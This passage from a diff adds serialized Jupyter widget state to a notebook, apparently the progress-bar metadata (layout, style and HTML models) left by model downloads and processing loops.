+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c59286b70fe74bbea779bbfae03e1a87": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_80e6d8758fe646e2a43d45e31d157b26",
+            "max": 492265879,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_fd5335a0dce5483bba6b91db1e32346e",
+            "value": 492265879
+          }
+        },
+        "c5ffdd678bd444d6b66bc7525947b716": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "c61940c9c4174fa8b515bbda3b612146": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_65947bf28d8c47059e1dae1f1d2f97b2",
+            "max": 334643276,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_93b5852ebf584c3e95ca3275b2c9b698",
+            "value": 334643276
+          }
+        },
+        "c65c5e6845254d47b6b0370b306b9eef": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c772f5d3ffca49a2a4c0d16a4469105c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c85450a2f1334f9aa43211929b1714e1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_1707f4e4e7a64dbb8a38f7042836bfb2",
+              "IPY_MODEL_3b9b27b4550c453f82f000c03d1209a7",
+              "IPY_MODEL_811695ab3aef4a368d2949af43b5f589"
+            ],
+            "layout": "IPY_MODEL_dfcd450b24d244ab86ccfc1b602a1d7e"
+          }
+        },
+        "c964733e23d749a0bd2069fc80b5fce7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c30a4ba5e89d42bfbd3ad524b9ed1303",
+              "IPY_MODEL_d9486e79630742c89fa5f6a104580064",
+              "IPY_MODEL_2c0421659acb482295485521efb6bb03"
+            ],
+            "layout": "IPY_MODEL_1431d8d8d9b04038b4e774fd743b78cd"
+          }
+        },
+        "c9dd35af3a2449f7b2b7be3915b01a70": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_282151a48c29477cb45f8d46beb22f5e",
+            "max": 553,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1895d19dcd574f56b7148ca7235fd0b4",
+            "value": 553
+          }
+        },
+        "cc1d355b4f6440fab9de50ccc5a268b8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4e3739037f2b44d2bd1ecaa20b29d70c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_79b4c9681b0d496ab86f77b6b4902ad6",
+            "value": "100%"
+          }
+        },
+        "cce1c917ad4a4b2c93369e249cd1c13c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ce20d1f9a55a42518c521eb5a1c8b414": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cf013b91c09f493b94c050f224449336": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d11ce4de43984beab4937652c55419cb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d138d9f2076c493da68ff7edb0bc36c7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f6239b69aa6e4ece90cdb6fabf707c57",
+            "placeholder": "​",
+            "style": "IPY_MODEL_881d8ed91e394981b6320122489fe8bc",
+            "value": " 492M/492M [00:07&lt;00:00, 60.6MB/s]"
+          }
+        },
+        "d1d635fff656454e9b0cdba740067c07": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d220c9f6c0684da98525ddfb0ccdf8f5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d3415f46386c49ce9593585d421657fa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d39253a104af48aab68a5590b0159487": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d3e78f87ec5c4c3e9e1efafefadea3bd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d5228dfbe50b4d078996b74d1b71ba28": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6b04b7bfcca645368b1287a3467bc3a1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4e8ec740f2ba45d1817c46b449e34423",
+            "value": " 20/20 [00:05&lt;00:00,  3.72it/s]"
+          }
+        },
+        "d5a6cb28917b48d4910903e016319aec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ecc2c348430c471791a449784f5df44c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_dd94c326988a41cd8b57f4dd9a26f499",
+            "value": " 10/10 [00:02&lt;00:00,  3.89it/s]"
+          }
+        },
+        "d6b66675891141aba38d8e8bd130c47c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d7199c08026f4da58da262e192602fc4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_86c728930faa41bcad11875ca74af210",
+            "placeholder": "​",
+            "style": "IPY_MODEL_1fcc4a24bf9b4ec6aec98800a872966f",
+            "value": " 518/518 [00:00&lt;00:00, 7.22kB/s]"
+          }
+        },
+        "d7335eeea61f49a291bbc9f120c823e7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_21e6f865412f4787b04b69da0cafa300",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d6b66675891141aba38d8e8bd130c47c",
+            "value": 1059962
+          }
+        },
+        "d79c2804b05248d8989a1462716a3478": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d876c82248f1418e83462dcc38f96469": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f6787f179f0c4dc6b420085606784de9",
+            "max": 13,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ab713f31f1d34894b4826a67de80daf3",
+            "value": 13
+          }
+        },
+        "d9069541f2f246b99881a937f384c7ab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d9486e79630742c89fa5f6a104580064": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_acccd96a575d4a679112ff80c935f1c9",
+            "max": 10,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_9038138255b442b7b17885ab7f31aed1",
+            "value": 10
+          }
+        },
+        "dafd2b93bc6245a88e6631f306fc1e9b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f38555fda53a4edf92271a97db3f7dd5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8f135d6a55484caf92a325c375e16005",
+            "value": "100%"
+          }
+        },
+        "db498aee51494067b6ad507e47f37bd4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ce20d1f9a55a42518c521eb5a1c8b414",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f019b7a1faf1469c87b048319a9b71ef",
+            "value": 50
+          }
+        },
+        "dc16acab929344cab2be08d297182843": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dc22f7fca8eb4d258406b3b53af177cc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dc8d5cf759be4ab08d801e1d4758b34a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8bb4488a1c1c4defafb072afa695918f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2dc8bda3ec0046b09c6422b5248f1312",
+            "value": "100%"
+          }
+        },
+        "dca153f028a14e3e959c9fe29816223f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
